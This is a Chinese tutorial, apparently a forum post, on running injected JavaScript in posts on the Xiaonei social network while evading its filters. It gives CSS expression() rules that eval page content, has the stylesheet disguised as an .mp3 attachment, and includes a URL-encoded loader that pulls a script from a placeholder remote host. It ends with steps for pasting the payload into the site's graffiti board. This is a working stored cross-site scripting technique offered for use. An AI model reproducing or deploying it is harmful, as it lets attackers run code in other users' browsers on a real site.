1:保存以下代码为addjs.mp3(后缀不是固定的)
.jsEnCode{
display:none;
background:expression((this.innerHTML!="")?((eval(unescape(this.innerHTML)+'this.innerHTML="";')==null)?"#aaa":"#123"):"#a00" );
}
.jscode{
display:none;
background:expression((this.innerHTML!="")?((eval(this.innerHTML+"this.innerHTML=''")==null)?"#aaa":"#123"):"#a00" );
}
.addJs{
display:none;
background:expression((this.innerHTML!="")?((eval("var s2 = document.createElement\x28'script'\x29; s2.src='"+this.innerHTML+"'; document.body.insertAdjacentElement\x28'BeforeBegin',s2\x29;"+"this.innerHTML='';")==null)?"#aaa":"#123"):"#a00" );
}
解释一下上段代码:
/*
*用途:为了在校内能够运行JS,而躲避系统的封查
*
*这是一个样式文件,
*class=addJS
*作用:添加JS文件
*
*class=jsCode
*作用:把当前内容当JS代码执行
*
*class=jsEnCode
*作用:把当前内容unescape后当JS代码执行
*注意:不要换行,格式为 %xx ,xx为16进制,对应ASCII码字符
*
*附:
* ( \x28
* ) \x29
*/
2:保存JS代码为addjs.mp3(后缀不是固定的)
3:把代码:
<div class=jsEnCode>codeJSUrl="http://xxx/albumpic.mp3";var s2 = document.createElement("script");s2.src=codeJSUrl;document.body.insertAdjacentElement("BeforeBegin",s2);</div>
编码成:
<div class=jsEnCode>%63%6f%64%65%4a%53%55%72%6c%3d%22%68%74%74%70%3a%2f%2f%78%78%78%2f%61%6c%62%75%6d%70%69%63%2e%6d%70%33%22%3b%76%61%72%20%73%32%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%22%73%63%72%69%70%74%22%29%3b%73%32%2e%73%72%63%3d%63%6f%64%65%4a%53%55%72%6c%3b%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%69%6e%73%65%72%74%41%64%6a%61%63%65%6e%74%45%6c%65%6d%65%6e%74%28%22%42%65%66%6f%72%65%42%65%67%69%6e%22%2c%73%32%29%3b</div>
的样式。
*注意:编码的字母必须是小写。
4:在涂鸦板中加入:
<link href="http://xxx/addjs.mp3" rel="stylesheet" type="text/css" media="all" />
<div class=jsEnCode>%63%6f%64%65%4a%53%55%72%6c%3d%22%68%74%74%70%3a%2f%2f%78%78%78%2f%61%6c%62%75%6d%70%69%63%2e%6d%70%33%22%3b%76%61%72%20%73%32%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%22%73%63%72%69%70%74%22%29%3b%73%32%2e%73%72%63%3d%63%6f%64%65%4a%53%55%72%6c%3b%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%69%6e%73%65%72%74%41%64%6a%61%63%65%6e%74%45%6c%65%6d%65%6e%74%28%22%42%65%66%6f%72%65%42%65%67%69%6e%22%2c%73%32%29%3b</div>
用到的工具:
URL编码转换工具.rar
在线大小写字母转换
***需要注意的是:
1:这里的文件后缀推荐改成wma,mp3,m3u等格式,原因是校内网的帖子附件不支持css和js格式,并且从校内链接速度会快的多。如果你想从其他网站做链接,当然也可以是css,js文件格式。
2:关于这里的JS代码请参照“插件代码”
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